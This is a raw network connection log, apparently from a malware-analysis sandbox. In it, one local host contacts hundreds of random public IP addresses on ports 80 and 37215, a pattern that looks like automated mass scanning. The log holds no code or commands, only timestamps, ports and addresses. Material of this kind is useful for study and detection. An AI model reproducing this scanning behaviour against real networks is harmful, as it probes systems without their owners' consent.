Oct 14, 2024 17:34:12.283297062 CEST	48092	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:12.283972979 CEST	48714	80	192.168.2.14	2.17.128.182
Oct 14, 2024 17:34:12.284389019 CEST	80	36270	145.152.55.80	192.168.2.14
Oct 14, 2024 17:34:12.284440994 CEST	36270	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:12.284780979 CEST	35452	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:12.284780979 CEST	35452	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:12.284857035 CEST	60234	37215	192.168.2.14	156.57.110.204
Oct 14, 2024 17:34:12.285723925 CEST	36020	80	192.168.2.14	211.76.58.110
Oct 14, 2024 17:34:12.286648035 CEST	38100	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:12.286648035 CEST	38100	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:12.286747932 CEST	52910	37215	192.168.2.14	41.105.148.190
Oct 14, 2024 17:34:12.287525892 CEST	80	36040	115.173.179.104	192.168.2.14
Oct 14, 2024 17:34:12.287545919 CEST	38638	80	192.168.2.14	115.51.250.229
Oct 14, 2024 17:34:12.288168907 CEST	80	46556	69.163.97.129	192.168.2.14
Oct 14, 2024 17:34:12.288711071 CEST	40468	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:12.288728952 CEST	40468	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:12.288816929 CEST	55198	37215	192.168.2.14	156.184.177.20
Oct 14, 2024 17:34:12.289319038 CEST	80	48092	2.17.128.182	192.168.2.14
Oct 14, 2024 17:34:12.289678097 CEST	40970	80	192.168.2.14	68.165.240.71
Oct 14, 2024 17:34:12.290306091 CEST	80	35452	211.76.58.110	192.168.2.14
Oct 14, 2024 17:34:12.290935040 CEST	34242	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.290935040 CEST	34242	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.291037083 CEST	57136	37215	192.168.2.14	197.211.2.169
Oct 14, 2024 17:34:12.291487932 CEST	34626	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.291629076 CEST	80	38100	115.51.250.229	192.168.2.14
Oct 14, 2024 17:34:12.292577982 CEST	37868	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:12.292577982 CEST	37868	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:12.292754889 CEST	50790	37215	192.168.2.14	156.213.229.144
Oct 14, 2024 17:34:12.294027090 CEST	38218	80	192.168.2.14	219.61.31.247
Oct 14, 2024 17:34:12.294269085 CEST	80	40468	68.165.240.71	192.168.2.14
Oct 14, 2024 17:34:12.295367956 CEST	44948	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:12.295367956 CEST	44948	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:12.295484066 CEST	60594	37215	192.168.2.14	197.167.235.218
Oct 14, 2024 17:34:12.295785904 CEST	80	34242	50.84.44.219	192.168.2.14
Oct 14, 2024 17:34:12.296386003 CEST	80	34626	50.84.44.219	192.168.2.14
Oct 14, 2024 17:34:12.296423912 CEST	45288	80	192.168.2.14	36.186.91.48
Oct 14, 2024 17:34:12.296437025 CEST	34626	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.297331095 CEST	80	37868	219.61.31.247	192.168.2.14
Oct 14, 2024 17:34:12.297403097 CEST	46386	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:12.297403097 CEST	46386	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:12.297812939 CEST	53872	37215	192.168.2.14	41.201.37.141
Oct 14, 2024 17:34:12.298638105 CEST	46712	80	192.168.2.14	166.225.45.181
Oct 14, 2024 17:34:12.299740076 CEST	59418	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:12.299740076 CEST	59418	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:12.299814939 CEST	45532	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:12.300280094 CEST	80	44948	36.186.91.48	192.168.2.14
Oct 14, 2024 17:34:12.300594091 CEST	59608	80	192.168.2.14	125.113.141.16
Oct 14, 2024 17:34:12.301600933 CEST	32838	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:12.301634073 CEST	32838	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:12.301706076 CEST	48322	37215	192.168.2.14	41.35.142.69
Oct 14, 2024 17:34:12.302180052 CEST	80	46386	166.225.45.181	192.168.2.14
Oct 14, 2024 17:34:12.302578926 CEST	33000	80	192.168.2.14	222.204.47.231
Oct 14, 2024 17:34:12.303620100 CEST	44284	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:12.303620100 CEST	44284	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:12.303781986 CEST	59448	37215	192.168.2.14	156.209.75.123
Oct 14, 2024 17:34:12.304529905 CEST	80	59418	125.113.141.16	192.168.2.14
Oct 14, 2024 17:34:12.304850101 CEST	44434	80	192.168.2.14	216.251.227.65
Oct 14, 2024 17:34:12.305124998 CEST	37215	45532	156.94.217.87	192.168.2.14
Oct 14, 2024 17:34:12.305165052 CEST	45532	37215	192.168.2.14	156.94.217.87
Oct 14, 2024 17:34:12.306425095 CEST	50656	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:12.306438923 CEST	50656	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:12.306570053 CEST	38312	37215	192.168.2.14	197.74.232.163
Oct 14, 2024 17:34:12.306628942 CEST	80	32838	222.204.47.231	192.168.2.14
Oct 14, 2024 17:34:12.307560921 CEST	50798	80	192.168.2.14	82.200.247.237
Oct 14, 2024 17:34:12.308530092 CEST	80	44284	216.251.227.65	192.168.2.14
Oct 14, 2024 17:34:12.308917999 CEST	35966	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:12.308917999 CEST	35966	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:12.309006929 CEST	58536	37215	192.168.2.14	41.45.192.137
Oct 14, 2024 17:34:12.309977055 CEST	36050	80	192.168.2.14	188.151.101.126
Oct 14, 2024 17:34:12.311141968 CEST	44498	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.311141968 CEST	44498	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.311225891 CEST	51458	37215	192.168.2.14	41.85.163.142
Oct 14, 2024 17:34:12.311759949 CEST	80	50656	82.200.247.237	192.168.2.14
Oct 14, 2024 17:34:12.311858892 CEST	44568	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.313308954 CEST	34626	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.313318014 CEST	36270	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:12.313318014 CEST	36270	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:12.313462019 CEST	33518	37215	192.168.2.14	197.234.62.163
Oct 14, 2024 17:34:12.313882113 CEST	80	35966	188.151.101.126	192.168.2.14
Oct 14, 2024 17:34:12.314359903 CEST	36332	80	192.168.2.14	145.152.55.80
Oct 14, 2024 17:34:12.315531015 CEST	57242	37215	192.168.2.14	156.6.115.43
Oct 14, 2024 17:34:12.315959930 CEST	80	44498	130.134.1.55	192.168.2.14
Oct 14, 2024 17:34:12.316750050 CEST	80	44568	130.134.1.55	192.168.2.14
Oct 14, 2024 17:34:12.316797972 CEST	44568	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.316802979 CEST	50626	37215	192.168.2.14	41.3.52.128
Oct 14, 2024 17:34:12.316812992 CEST	44568	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.317598104 CEST	48488	37215	192.168.2.14	41.60.199.114
Oct 14, 2024 17:34:12.318134069 CEST	80	36270	145.152.55.80	192.168.2.14
Oct 14, 2024 17:34:12.318417072 CEST	80	34626	50.84.44.219	192.168.2.14
Oct 14, 2024 17:34:12.318469048 CEST	34626	80	192.168.2.14	50.84.44.219
Oct 14, 2024 17:34:12.318619967 CEST	54434	37215	192.168.2.14	41.18.249.50
Oct 14, 2024 17:34:12.319628000 CEST	33648	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:12.320889950 CEST	37940	37215	192.168.2.14	197.240.127.95
Oct 14, 2024 17:34:12.321882010 CEST	53196	37215	192.168.2.14	156.28.130.182
Oct 14, 2024 17:34:12.322370052 CEST	80	44568	130.134.1.55	192.168.2.14
Oct 14, 2024 17:34:12.322412968 CEST	44568	80	192.168.2.14	130.134.1.55
Oct 14, 2024 17:34:12.322839022 CEST	52768	37215	192.168.2.14	41.148.109.49
Oct 14, 2024 17:34:12.323847055 CEST	38262	37215	192.168.2.14	156.94.137.150
Oct 14, 2024 17:34:12.324462891 CEST	37215	33648	41.17.42.167	192.168.2.14
Oct 14, 2024 17:34:12.324538946 CEST	33648	37215	192.168.2.14	41.17.42.167
Oct 14, 2024 17:34:12.324630976 CEST	51626	37215	192.168.2.14	156.7.254.242
Oct 14, 2024 17:34:12.325697899 CEST	47860	37215	192.168.2.14	197.141.68.212
Oct 14, 2024 17:34:12.326364994 CEST	38196	37215	192.168.2.14	156.49.31.235
Oct 14, 2024 17:34:12.327188015 CEST	56926	37215	192.168.2.14	156.176.230.100
Oct 14, 2024 17:34:12.328135967 CEST	42398	37215	192.168.2.14	41.99.106.112
Oct 14, 2024 17:34:12.329142094 CEST	56846	37215	192.168.2.14	41.85.69.100
Oct 14, 2024 17:34:12.329905033 CEST	60614	37215	192.168.2.14	197.99.180.20
Oct 14, 2024 17:34:12.330637932 CEST	35112	37215	192.168.2.14	41.247.111.17
Oct 14, 2024 17:34:12.331120014 CEST	80	48092	2.17.128.182	192.168.2.14
Oct 14, 2024 17:34:12.331140995 CEST	80	46556	69.163.97.129	192.168.2.14
Oct 14, 2024 17:34:12.331151962 CEST	80	36040	115.173.179.104	192.168.2.14
Oct 14, 2024 17:34:12.331578970 CEST	50870	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:12.332401037 CEST	35098	37215	192.168.2.14	41.237.153.176
Oct 14, 2024 17:34:12.333295107 CEST	40198	37215	192.168.2.14	197.87.211.94
Oct 14, 2024 17:34:12.334216118 CEST	35960	37215	192.168.2.14	156.245.159.2
Oct 14, 2024 17:34:12.334882021 CEST	53154	37215	192.168.2.14	41.64.133.49
Oct 14, 2024 17:34:12.335108995 CEST	80	40468	68.165.240.71	192.168.2.14
Oct 14, 2024 17:34:12.335125923 CEST	80	38100	115.51.250.229	192.168.2.14
Oct 14, 2024 17:34:12.335306883 CEST	80	35452	211.76.58.110	192.168.2.14
Oct 14, 2024 17:34:12.335568905 CEST	33518	37215	192.168.2.14	197.71.242.130
Oct 14, 2024 17:34:12.336502075 CEST	32880	37215	192.168.2.14	41.231.48.184
Oct 14, 2024 17:34:12.336802006 CEST	37215	50870	41.147.168.3	192.168.2.14
Oct 14, 2024 17:34:12.336841106 CEST	50870	37215	192.168.2.14	41.147.168.3
Oct 14, 2024 17:34:12.337265015 CEST	52684	37215	192.168.2.14	197.115.11.153
Oct 14, 2024 17:34:12.337964058 CEST	39630	37215	192.168.2.14	41.195.60.90
Oct 14, 2024 17:34:12.338877916 CEST	55376	37215	192.168.2.14	197.218.210.222
Oct 14, 2024 17:34:12.339128017 CEST	80	37868	219.61.31.247	192.168.2.14
Oct 14, 2024 17:34:12.339139938 CEST	80	34242	50.84.44.219	192.168.2.14
Oct 14, 2024 17:34:12.339736938 CEST	50230	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.340440035 CEST	39982	37215	192.168.2.14	156.106.215.170
Oct 14, 2024 17:34:12.341159105 CEST	40246	37215	192.168.2.14	197.227.216.128
Oct 14, 2024 17:34:12.342148066 CEST	59844	37215	192.168.2.14	197.65.63.237
Oct 14, 2024 17:34:12.343138933 CEST	39000	37215	192.168.2.14	197.53.246.173
Oct 14, 2024 17:34:12.343139887 CEST	80	46386	166.225.45.181	192.168.2.14
Oct 14, 2024 17:34:12.343204021 CEST	80	44948	36.186.91.48	192.168.2.14
Oct 14, 2024 17:34:12.343849897 CEST	43516	37215	192.168.2.14	41.26.170.58
Oct 14, 2024 17:34:12.344578028 CEST	40426	37215	192.168.2.14	156.18.72.214
Oct 14, 2024 17:34:12.344579935 CEST	37215	50230	41.12.210.213	192.168.2.14
Oct 14, 2024 17:34:12.344640017 CEST	50230	37215	192.168.2.14	41.12.210.213
Oct 14, 2024 17:34:12.345393896 CEST	45646	37215	192.168.2.14	41.61.38.75
Oct 14, 2024 17:34:12.346087933 CEST	44922	37215	192.168.2.14	156.164.61.175
Oct 14, 2024 17:34:12.346993923 CEST	36390	37215	192.168.2.14	41.250.134.251
Oct 14, 2024 17:34:12.347161055 CEST	80	59418	125.113.141.16	192.168.2.14
Oct 14, 2024 17:34:12.347171068 CEST	80	32838	222.204.47.231	192.168.2.14
Oct 14, 2024 17:34:12.347740889 CEST	48342	37215	192.168.2.14	197.114.127.201
Oct 14, 2024 17:34:12.348647118 CEST	35494	37215	192.168.2.14	156.188.108.14
Oct 14, 2024 17:34:12.349572897 CEST	45202	37215	192.168.2.14	41.111.5.5
Oct 14, 2024 17:34:12.350559950 CEST	47956	37215	192.168.2.14	197.164.236.181
Oct 14, 2024 17:34:12.351072073 CEST	80	44284	216.251.227.65	192.168.2.14
Oct 14, 2024 17:34:12.351438046 CEST	52496	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:12.352557898 CEST	52036	37215	192.168.2.14	41.85.220.38
Oct 14, 2024 17:34:12.353490114 CEST	50606	37215	192.168.2.14	41.70.200.240
Oct 14, 2024 17:34:12.354784966 CEST	56150	37215	192.168.2.14	41.126.64.10
Oct 14, 2024 17:34:12.355925083 CEST	35952	37215	192.168.2.14	197.119.218.95
Oct 14, 2024 17:34:12.356293917 CEST	37215	52496	197.107.94.66	192.168.2.14
Oct 14, 2024 17:34:12.356730938 CEST	52496	37215	192.168.2.14	197.107.94.66
Oct 14, 2024 17:34:12.357897043 CEST	45084	37215	192.168.2.14	156.0.203.86
Oct 14, 2024 17:34:12.358984947 CEST	39046	37215	192.168.2.14	41.129.207.87
Oct 14, 2024 17:34:12.359154940 CEST	80	35966	188.151.101.126	192.168.2.14
Oct 14, 2024 17:34:12.359215021 CEST	80	50656	82.200.247.237	192.168.2.14
Oct 14, 2024 17:34:12.359225035 CEST	80	36270	145.152.55.80	192.168.2.14
Oct 14, 2024 17:34:12.359234095 CEST	80	44498	130.134.1.55	192.168.2.14
Oct 14, 2024 17:34:12.360096931 CEST	41142	37215	192.168.2.14	41.75.110.142
Oct 14, 2024 17:34:12.361090899 CEST	51934	37215	192.168.2.14	197.227.52.129
Oct 14, 2024 17:34:12.362037897 CEST	29625	37215	192.168.2.14	41.77.144.117
Oct 14, 2024 17:34:12.362056017 CEST	29625	37215	192.168.2.14	156.146.134.254
Oct 14, 2024 17:34:12.362056017 CEST	29625	37215	192.168.2.14	156.83.73.66
Oct 14, 2024 17:34:12.362056971 CEST	29625	37215	192.168.2.14	156.65.112.180
Oct 14, 2024 17:34:12.362059116 CEST	29625	37215	192.168.2.14	197.79.48.248
Oct 14, 2024 17:34:12.362061977 CEST	29625	37215	192.168.2.14	197.125.238.170
Oct 14, 2024 17:34:12.362061977 CEST	29625	37215	192.168.2.14	156.174.206.202
Oct 14, 2024 17:34:12.362071037 CEST	29625	37215	192.168.2.14	156.140.57.200
Oct 14, 2024 17:34:12.362076998 CEST	29625	37215	192.168.2.14	156.184.83.94
Oct 14, 2024 17:34:12.362076998 CEST	29625	37215	192.168.2.14	197.161.99.244
Oct 14, 2024 17:34:12.362081051 CEST	29625	37215	192.168.2.14	41.117.6.39
Oct 14, 2024 17:34:12.362095118 CEST	29625	37215	192.168.2.14	156.0.53.233
Oct 14, 2024 17:34:12.362099886 CEST	29625	37215	192.168.2.14	41.93.165.246
Oct 14, 2024 17:34:12.362099886 CEST	29625	37215	192.168.2.14	197.218.181.153
Oct 14, 2024 17:34:12.362118959 CEST	29625	37215	192.168.2.14	197.72.31.224
Oct 14, 2024 17:34:12.362126112 CEST	29625	37215	192.168.2.14	156.220.142.215
Oct 14, 2024 17:34:12.362126112 CEST	29625	37215	192.168.2.14	197.208.39.120
Oct 14, 2024 17:34:12.362127066 CEST	29625	37215	192.168.2.14	156.220.156.63
Oct 14, 2024 17:34:12.362127066 CEST	29625	37215	192.168.2.14	156.171.249.168
Oct 14, 2024 17:34:12.362127066 CEST	29625	37215	192.168.2.14	156.189.65.146
Oct 14, 2024 17:34:12.362132072 CEST	29625	37215	192.168.2.14	156.88.33.211
Oct 14, 2024 17:34:12.362132072 CEST	29625	37215	192.168.2.14	41.33.236.18
Oct 14, 2024 17:34:12.362135887 CEST	29625	37215	192.168.2.14	41.211.46.106
Oct 14, 2024 17:34:12.362137079 CEST	29625	37215	192.168.2.14	197.41.183.161
Oct 14, 2024 17:34:12.362143040 CEST	29625	37215	192.168.2.14	156.235.85.109
Oct 14, 2024 17:34:12.362148046 CEST	29625	37215	192.168.2.14	41.119.114.182
Oct 14, 2024 17:34:12.362154007 CEST	29625	37215	192.168.2.14	156.95.213.17
Oct 14, 2024 17:34:12.362164021 CEST	29625	37215	192.168.2.14	156.183.57.165
Oct 14, 2024 17:34:12.362175941 CEST	29625	37215	192.168.2.14	41.157.66.56
Oct 14, 2024 17:34:12.362176895 CEST	29625	37215	192.168.2.14	156.216.67.158
Oct 14, 2024 17:34:12.362175941 CEST	29625	37215	192.168.2.14	41.100.180.251
Oct 14, 2024 17:34:12.362185955 CEST	29625	37215	192.168.2.14	156.171.88.119
Oct 14, 2024 17:34:12.362189054 CEST	29625	37215	192.168.2.14	197.130.168.143
Oct 14, 2024 17:34:12.362190962 CEST	29625	37215	192.168.2.14	41.227.127.103
Oct 14, 2024 17:34:12.362193108 CEST	29625	37215	192.168.2.14	156.114.203.118
Oct 14, 2024 17:34:12.362215042 CEST	29625	37215	192.168.2.14	197.215.190.2
Oct 14, 2024 17:34:12.362215996 CEST	29625	37215	192.168.2.14	197.218.179.243
Oct 14, 2024 17:34:12.362215042 CEST	29625	37215	192.168.2.14	41.146.114.56
Oct 14, 2024 17:34:12.362215996 CEST	29625	37215	192.168.2.14	197.114.138.100
Oct 14, 2024 17:34:12.362225056 CEST	29625	37215	192.168.2.14	41.181.154.187
Oct 14, 2024 17:34:12.362225056 CEST	29625	37215	192.168.2.14	197.29.192.212
Oct 14, 2024 17:34:12.362245083 CEST	29625	37215	192.168.2.14	156.57.24.20
Oct 14, 2024 17:34:12.362245083 CEST	29625	37215	192.168.2.14	41.65.246.129
Oct 14, 2024 17:34:12.362246990 CEST	29625	37215	192.168.2.14	41.215.200.4
Oct 14, 2024 17:34:12.362247944 CEST	29625	37215	192.168.2.14	41.48.170.9
Oct 14, 2024 17:34:12.362247944 CEST	29625	37215	192.168.2.14	156.38.236.191
Oct 14, 2024 17:34:12.362251997 CEST	29625	37215	192.168.2.14	156.97.68.116
Oct 14, 2024 17:34:12.362263918 CEST	29625	37215	192.168.2.14	41.6.117.91
Oct 14, 2024 17:34:12.362265110 CEST	29625	37215	192.168.2.14	197.179.253.160
Oct 14, 2024 17:34:12.362270117 CEST	29625	37215	192.168.2.14	197.73.155.12
Oct 14, 2024 17:34:12.362271070 CEST	29625	37215	192.168.2.14	156.28.72.59
Oct 14, 2024 17:34:12.362272024 CEST	29625	37215	192.168.2.14	41.226.142.167
Oct 14, 2024 17:34:12.362284899 CEST	29625	37215	192.168.2.14	156.53.126.79
Oct 14, 2024 17:34:12.362293005 CEST	29625	37215	192.168.2.14	156.71.26.158
Oct 14, 2024 17:34:12.362298012 CEST	29625	37215	192.168.2.14	41.49.247.245
Oct 14, 2024 17:34:12.362303972 CEST	29625	37215	192.168.2.14	156.41.117.112
Oct 14, 2024 17:34:12.362303972 CEST	29625	37215	192.168.2.14	41.253.19.124
Oct 14, 2024 17:34:12.362303972 CEST	29625	37215	192.168.2.14	156.34.4.200
Oct 14, 2024 17:34:12.362304926 CEST	29625	37215	192.168.2.14	41.251.228.100
Oct 14, 2024 17:34:12.362303972 CEST	29625	37215	192.168.2.14	41.113.229.92
Oct 14, 2024 17:34:12.362313986 CEST	29625	37215	192.168.2.14	41.59.48.120
Oct 14, 2024 17:34:12.362313986 CEST	29625	37215	192.168.2.14	156.110.217.115
Oct 14, 2024 17:34:12.362334013 CEST	29625	37215	192.168.2.14	41.53.134.76
Oct 14, 2024 17:34:12.362334013 CEST	29625	37215	192.168.2.14	156.75.41.213
Oct 14, 2024 17:34:12.362340927 CEST	29625	37215	192.168.2.14	41.79.151.58
Oct 14, 2024 17:34:12.362358093 CEST	29625	37215	192.168.2.14	41.107.240.98
Oct 14, 2024 17:34:12.362365007 CEST	29625	37215	192.168.2.14	156.246.146.20
Oct 14, 2024 17:34:12.362368107 CEST	29625	37215	192.168.2.14	197.91.10.185
Oct 14, 2024 17:34:12.362370014 CEST	29625	37215	192.168.2.14	41.47.253.236
Oct 14, 2024 17:34:12.362370014 CEST	29625	37215	192.168.2.14	41.255.91.37
Oct 14, 2024 17:34:12.362370014 CEST	29625	37215	192.168.2.14	197.16.129.90
Oct 14, 2024 17:34:12.362379074 CEST	29625	37215	192.168.2.14	197.145.201.7
Oct 14, 2024 17:34:12.362384081 CEST	29625	37215	192.168.2.14	156.119.104.114
Oct 14, 2024 17:34:12.362385988 CEST	29625	37215	192.168.2.14	197.104.26.252
Oct 14, 2024 17:34:12.362384081 CEST	29625	37215	192.168.2.14	41.192.112.196
Oct 14, 2024 17:34:12.362390041 CEST	29625	37215	192.168.2.14	41.198.172.148
Oct 14, 2024 17:34:12.362390995 CEST	29625	37215	192.168.2.14	41.175.44.45
Oct 14, 2024 17:34:12.362390995 CEST	29625	37215	192.168.2.14	156.230.213.87
Oct 14, 2024 17:34:12.362411022 CEST	29625	37215	192.168.2.14	156.239.157.16
Oct 14, 2024 17:34:12.362413883 CEST	29625	37215	192.168.2.14	41.91.240.4
Oct 14, 2024 17:34:12.362420082 CEST	29625	37215	192.168.2.14	41.32.202.54
Oct 14, 2024 17:34:12.362426043 CEST	29625	37215	192.168.2.14	197.47.43.241
Oct 14, 2024 17:34:12.362426996 CEST	29625	37215	192.168.2.14	197.177.79.101
Oct 14, 2024 17:34:12.362426043 CEST	29625	37215	192.168.2.14	41.144.36.93
Oct 14, 2024 17:34:12.362435102 CEST	29625	37215	192.168.2.14	156.15.208.227
Oct 14, 2024 17:34:12.362453938 CEST	29625	37215	192.168.2.14	156.114.45.104
Oct 14, 2024 17:34:12.362457037 CEST	29625	37215	192.168.2.14	156.233.234.45
Oct 14, 2024 17:34:12.362461090 CEST	29625	37215	192.168.2.14	41.98.86.153
Oct 14, 2024 17:34:12.362461090 CEST	29625	37215	192.168.2.14	197.100.238.112
Oct 14, 2024 17:34:12.362468004 CEST	29625	37215	192.168.2.14	156.124.93.255
Oct 14, 2024 17:34:12.362469912 CEST	29625	37215	192.168.2.14	156.94.60.211
Oct 14, 2024 17:34:12.362472057 CEST	29625	37215	192.168.2.14	156.137.137.230
Oct 14, 2024 17:34:12.362472057 CEST	29625	37215	192.168.2.14	156.231.79.124
Oct 14, 2024 17:34:12.362472057 CEST	29625	37215	192.168.2.14	41.178.209.142
Oct 14, 2024 17:34:12.362476110 CEST	29625	37215	192.168.2.14	197.181.225.21
Oct 14, 2024 17:34:12.362481117 CEST	29625	37215	192.168.2.14	156.198.60.255
Oct 14, 2024 17:34:12.362487078 CEST	29625	37215	192.168.2.14	41.139.208.141
Oct 14, 2024 17:34:12.362490892 CEST	29625	37215	192.168.2.14	197.110.54.114
Oct 14, 2024 17:34:12.362492085 CEST	29625	37215	192.168.2.14	156.175.167.155
Oct 14, 2024 17:34:12.362508059 CEST	29625	37215	192.168.2.14	156.152.161.237
Oct 14, 2024 17:34:12.362510920 CEST	29625	37215	192.168.2.14	41.65.117.253
Oct 14, 2024 17:34:12.362514019 CEST	29625	37215	192.168.2.14	197.26.175.180
Oct 14, 2024 17:34:12.362524033 CEST	29625	37215	192.168.2.14	41.33.158.92
Oct 14, 2024 17:34:12.362526894 CEST	29625	37215	192.168.2.14	41.26.215.65
Oct 14, 2024 17:34:12.362526894 CEST	29625	37215	192.168.2.14	41.119.116.140
Oct 14, 2024 17:34:12.362526894 CEST	29625	37215	192.168.2.14	197.96.75.122
Oct 14, 2024 17:34:12.362549067 CEST	29625	37215	192.168.2.14	156.201.180.202
Oct 14, 2024 17:34:12.362556934 CEST	29625	37215	192.168.2.14	156.145.2.109
Oct 14, 2024 17:34:12.362557888 CEST	29625	37215	192.168.2.14	156.118.221.59
Oct 14, 2024 17:34:12.362560034 CEST	29625	37215	192.168.2.14	197.125.164.47
Oct 14, 2024 17:34:12.362560987 CEST	29625	37215	192.168.2.14	156.241.77.226
Oct 14, 2024 17:34:12.362564087 CEST	29625	37215	192.168.2.14	41.116.232.191
Oct 14, 2024 17:34:12.362569094 CEST	29625	37215	192.168.2.14	41.149.58.115
Oct 14, 2024 17:34:12.362576008 CEST	29625	37215	192.168.2.14	197.50.225.132
Oct 14, 2024 17:34:12.362577915 CEST	29625	37215	192.168.2.14	156.199.89.189
Oct 14, 2024 17:34:12.362581968 CEST	29625	37215	192.168.2.14	156.39.198.97
Oct 14, 2024 17:34:12.362584114 CEST	29625	37215	192.168.2.14	156.6.2.217
Oct 14, 2024 17:34:12.362585068 CEST	29625	37215	192.168.2.14	156.183.194.62
Oct 14, 2024 17:34:12.362597942 CEST	29625	37215	192.168.2.14	41.31.152.106
Oct 14, 2024 17:34:12.362597942 CEST	29625	37215	192.168.2.14	197.16.240.147
Oct 14, 2024 17:34:12.362607956 CEST	29625	37215	192.168.2.14	197.16.125.162
Oct 14, 2024 17:34:12.362622976 CEST	29625	37215	192.168.2.14	41.5.91.42
Oct 14, 2024 17:34:12.362627983 CEST	29625	37215	192.168.2.14	156.156.60.170
Oct 14, 2024 17:34:12.362632036 CEST	29625	37215	192.168.2.14	197.39.58.193
Oct 14, 2024 17:34:12.362634897 CEST	29625	37215	192.168.2.14	41.130.148.43
Oct 14, 2024 17:34:12.362634897 CEST	29625	37215	192.168.2.14	41.223.114.1
Oct 14, 2024 17:34:12.362638950 CEST	29625	37215	192.168.2.14	156.97.121.135
Oct 14, 2024 17:34:12.362646103 CEST	29625	37215	192.168.2.14	197.223.198.33
Oct 14, 2024 17:34:12.362649918 CEST	29625	37215	192.168.2.14	156.227.140.88
Oct 14, 2024 17:34:12.362653971 CEST	29625	37215	192.168.2.14	41.76.72.136
Oct 14, 2024 17:34:12.362654924 CEST	29625	37215	192.168.2.14	197.135.16.244
Oct 14, 2024 17:34:12.362654924 CEST	29625	37215	192.168.2.14	41.226.198.98
Oct 14, 2024 17:34:12.362663984 CEST	29625	37215	192.168.2.14	197.145.166.53
Oct 14, 2024 17:34:12.362683058 CEST	29625	37215	192.168.2.14	156.132.112.91
Oct 14, 2024 17:34:12.362683058 CEST	29625	37215	192.168.2.14	197.195.42.228
Oct 14, 2024 17:34:12.362684011 CEST	29625	37215	192.168.2.14	41.126.120.180
Oct 14, 2024 17:34:12.362689972 CEST	29625	37215	192.168.2.14	197.96.214.18
Oct 14, 2024 17:34:12.362694979 CEST	29625	37215	192.168.2.14	41.92.232.175
Oct 14, 2024 17:34:12.362694979 CEST	29625	37215	192.168.2.14	156.148.11.190
Oct 14, 2024 17:34:12.362711906 CEST	29625	37215	192.168.2.14	156.104.158.1
Oct 14, 2024 17:34:12.362711906 CEST	29625	37215	192.168.2.14	41.230.110.233
Oct 14, 2024 17:34:12.362715960 CEST	29625	37215	192.168.2.14	156.90.106.196
Oct 14, 2024 17:34:12.362719059 CEST	29625	37215	192.168.2.14	156.73.57.112
Oct 14, 2024 17:34:12.362723112 CEST	29625	37215	192.168.2.14	156.134.122.1
Oct 14, 2024 17:34:12.362739086 CEST	29625	37215	192.168.2.14	197.23.136.139
Oct 14, 2024 17:34:12.362739086 CEST	29625	37215	192.168.2.14	156.167.92.125
Oct 14, 2024 17:34:12.362749100 CEST	29625	37215	192.168.2.14	41.224.112.206
Oct 14, 2024 17:34:12.362751961 CEST	29625	37215	192.168.2.14	197.198.0.100
Oct 14, 2024 17:34:12.362751961 CEST	29625	37215	192.168.2.14	156.189.63.9
Oct 14, 2024 17:34:12.362756968 CEST	29625	37215	192.168.2.14	156.194.155.136
Oct 14, 2024 17:34:12.362759113 CEST	29625	37215	192.168.2.14	197.3.227.51
Oct 14, 2024 17:34:12.362759113 CEST	29625	37215	192.168.2.14	41.58.55.7
Oct 14, 2024 17:34:12.362766027 CEST	29625	37215	192.168.2.14	197.86.160.14
Oct 14, 2024 17:34:12.362777948 CEST	29625	37215	192.168.2.14	156.135.147.32
Oct 14, 2024 17:34:12.362783909 CEST	29625	37215	192.168.2.14	41.246.188.78
Oct 14, 2024 17:34:12.362797976 CEST	29625	37215	192.168.2.14	197.252.249.214
Oct 14, 2024 17:34:12.362801075 CEST	29625	37215	192.168.2.14	41.252.105.84
Oct 14, 2024 17:34:12.362803936 CEST	29625	37215	192.168.2.14	197.180.235.131
Oct 14, 2024 17:34:12.362806082 CEST	29625	37215	192.168.2.14	156.142.144.171
Oct 14, 2024 17:34:12.362807989 CEST	29625	37215	192.168.2.14	197.237.167.58
Oct 14, 2024 17:34:12.362807989 CEST	29625	37215	192.168.2.14	156.212.11.149
Oct 14, 2024 17:34:12.362807989 CEST	29625	37215	192.168.2.14	156.61.182.252
Oct 14, 2024 17:34:12.362814903 CEST	29625	37215	192.168.2.14	156.225.149.255
Oct 14, 2024 17:34:12.362814903 CEST	29625	37215	192.168.2.14	156.238.37.174
